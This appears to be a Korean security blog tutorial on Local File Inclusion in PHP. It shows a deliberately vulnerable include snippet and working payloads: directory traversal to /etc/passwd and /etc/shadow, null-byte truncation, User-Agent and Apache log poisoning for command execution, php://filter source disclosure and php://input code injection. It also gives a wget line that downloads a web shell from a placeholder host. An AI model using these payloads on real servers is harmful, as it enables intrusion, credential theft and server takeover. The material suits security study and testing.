PJY

Local File Inclusion


Local File Inclusion

말 그대로 로컬의 파일을 포함시킨다는 의미이다.


서버컴퓨터에서 제공되는 디렉토리는 한정되어있다.

Windows에 설치된 APM(Apache PHP MySQL)의 C:\APM_setup\htdocs가 그 예일 수 있다.


하지만, LFI취약점이 있다면, 서버에서 제공하는 디렉토리 외 로컬 영역의 디렉토리와 폴더를 열람할 수 있다.

ex.(Linux)

/etc/passwd

/etc/shadow


방법은 간단하다.


LFI에 취약한 PHP코드의 경우,


<?php

 $file = $_GET['pages'];

 if(isset($file))

 {

  include("pages/$file");

 }

 else

 {

  include("index.php");

 }

?>


과 같은 구조를 취하는데, 이 코드는

pages변수 GET method로 pages디렉토리의 파일들을 Include하며,

지정이 안될 경우 index.php를 Include한다는 의미이다.


이 코드상에서, 정상적이라면

주소?pages=about.php

주소?pages=home.php

이 될 것이다.


하지만, 취약한 코드에서 알 수 있듯,

어떤 파일이던지 Include가 가능하다!


이 점을 이용한다면,

다음과 같은 공격코드를 작성할 수 있다.


주소?pages=../etc/passwd


리눅스 서버의 경우 /etc/passwd를 출력할 것이다

물론, 공격자 입장에서는 서버에서 지정한 디렉토리가 무엇인지

알 수가 없다.


그렇기 때문에, 최상위 디렉토리로 이동 후 /etc/passwd를 출력하려고 할 것이다.


주소?pages=../../../../etc/passwd


../는 상위 디렉토리로의 이동이다.


물론, 최상위 디렉토리로 이동 후 /etc/passwd를

출력하려고 하더라도 값이 나오지 않을 수 있다.


쓰레기 값 때문이라고 추측할 수 있는데,

파일을 받는 코드 뒤에 쓰레기 코드가 있기 때문이므로,


주소?pages=../../../../etc/passwd%00


NULL byte를 추가하여 해결한다.


/etc/shadow

/etc/group

/etc/security/group

/etc/security/passwd

/etc/security/user

/etc/security/environ

/etc/security/limits

/usr/lib/security/mkuser.default


이 디렉토리들은 리눅스 보안상 중요한 것들이다.


여기까지는 기본적으로 LFI에 대한 이해이다.


이 정도로는 직접적인 영향력 행사가 불가능하다.

그렇다면 이제는 시스템 커맨드를 활용할 방법을 알아보도록 하자.


해쉬들을 읽어 원하는 정보를 얻었다면,

/proc/self/environ에 접근이 가능한지여부를 확인 후

직접적인 영향력을 행사한다.


기본적인 LFI를 통해 /proc/self/environ 을 읽는다.

주소?pages=../../../../../proc/self/environ%00


접근이 가능하다면, RESPONSE에서 다음과 같은 결과를 볼 수 있다.

-중략-

HTTP_USER_AGENT= Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fpr oc%2Fself%2Fenviron

-중략-

내용에서 HTTP_USER_AGENT를 볼 수 있다.


프록시나, 프로그래밍을 통해

HTTP_USER_AGENTPHP코드를 넣어 요청한다면,

PHP코드는 <?system('id');?>로 하겠다


RESPONSE는 다음과 같을 것이다.

-중략

HTTP_USER_AGENT=uid=504(pjy) gid=504(pjy) groups=504(pjy) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fpr oc%2Fself%2Fenviron

-중략-

HTTP_USER_AGENT에 해당 명령어의 실행결과를 알 수 있는 것이다.


이 점을 응용하여

<?system('wget 주소 -O 이름.php');?>

를 한다면, 주소에서 파일을 이름.php로 다운받을 것이고,

웹쉘을 다운받는다면, 서버 장악이 가능해진다.


또 다른방법인 error_log를 이용하여

시스템커맨드를 입력하는 방법을 알아보자.

error가 발생해야하므로, 404 또는 500이 발생되어야 한다.


아파치의 경우, 에러가 발생하면 에러로그를 기록한다.

아래는 예측가능한 에러로그디렉토리이다.

/etc/httpd/logs/access.log

/etc/httpd/logs/access_log

/etc/httpd/logs/error.log

/etc/httpd/logs/error_log

/opt/lampp/logs/access_log

/opt/lampp/logs/error_log

/usr/local/apache/log

/usr/local/apache/logs

/usr/local/apache/logs/access.log

/usr/local/apache/logs/access_log

/usr/local/apache/logs/error.log

/usr/local/apache/logs/error_log

/usr/local/etc/httpd/logs/access_log

/usr/local/etc/httpd/logs/error_log

/usr/local/www/logs/thttpd_log

/var/apache/logs/access_log

/var/apache/logs/error_log

/var/log/apache/access.log

/var/log/apache/error.log

/var/log/apache-ssl/access.log

/var/log/apache-ssl/error.log

/var/log/httpd/access_log

/var/log/httpd/error_log

/var/log/httpsd/ssl.access_log

/var/log/httpsd/ssl_log

/var/log/thttpd_log

/var/www/log/access_log

/var/www/log/error_log

/var/www/logs/access.log

/var/www/logs/access_log

/var/www/logs/error.log

/var/www/logs/error_log

C:\apache\logs\access.log

C:\apache\logs\error.log

C:\Program Files\Apache Group\Apache\logs\access.log

C:\Program Files\Apache Group\Apache\logs\error.log

C:\program files\wamp\apache2\logs

C:\wamp\apache2\logs

C:\wamp\logs

C:\xampp\apache\logs\access.log

C:\xampp\apache\logs\error.log


만약, 공격자가 인위적으로 에러를 만든다면,

그 내용이 errorlog에 기록될 것이다.


이 점을 이용하여 만약 공격자가

주소/aaaa?aaa=<?php phpinfo(); ?>

를 입력한다면,

(실제로 aaaa?aaa=는 없기 때문에 오류가 생기는 것이다.)


error_log에 <?php phpinfo(); ?>의 실행결과인

PHP의 정보가 기록될 것이다.


실제로, 쉘을 입력할 수 있는 경우는 많지않을 것이다.


그렇다면, 또 다른 방법을 알아보자.


PHP는 PHP스스로의 입출력 스트림, 표준입출력, 오류 파일 기술어

등에 엑세스 할수 있는 다양한 I/O 스트림을 제공하는데

이것을 PHP Wrapper 라고 한다.


PHP Wrapper는 크게 두가지가 있다.

바로 php://filterphp://input 이다


첫번째로, php://filter을 활용하는 방법은


php://filter/convert.base64-encode/resource=


이 함수를 사용할 수 있는데,

이 공격의 목표는 페이지의 소스를 긁어오는 것이다.


예를들어, hi.php의 소스를 알려고 한다면,

공격코드는

주소?pages=php://filter/convert.base64-encode/resource=hi.php

가 될 것이다.


이 코드의 결과는 hi.php의 소스를 base64로 코딩한 것을 출력할 것이다.


PD9waHAKJGlkPSRfR0VUWydpZCddOwplY2hvICIkaWQiOwo/Pg==

와 같이 출력될 것이다.


이 base64값을 복호화 한다면, 소스를 알 수 있을 것이다. -결과>

<?php

$id=$_GET['id'];

echo "$id";

?>


두번째로, php://input을 활용해 보도록 하자.


php://input  Wrapper의 용도가 request 바디의 데이터를

읽는 역할이므로 이를 이용해서 페이지에 쉘을 삽입할 수 있다.


주소?pages=php://input

을 요청한 후에, 프록시로 Request값을 PHP코드로 입력한다.


ex. <?system('id');?>

이 경우, Response는 id명령의 결과값을 출력할 것이다.


역시나 /proc/self/environ 환경과 마찬가지로

<?system('wget 주소 -O 이름.php');?>

를 활용할 수 있다.


End.

'Security > Web' 카테고리의 다른 글

Error Based SQL Injection  (0) 2014.05.24
Remote File Inclusion  (0) 2014.05.24
Local File Inclusion  (0) 2014.05.24
XSS  (0) 2014.05.24
CSRF  (0) 2014.05.24
OS Command Injection  (0) 2014.03.11

Comment +0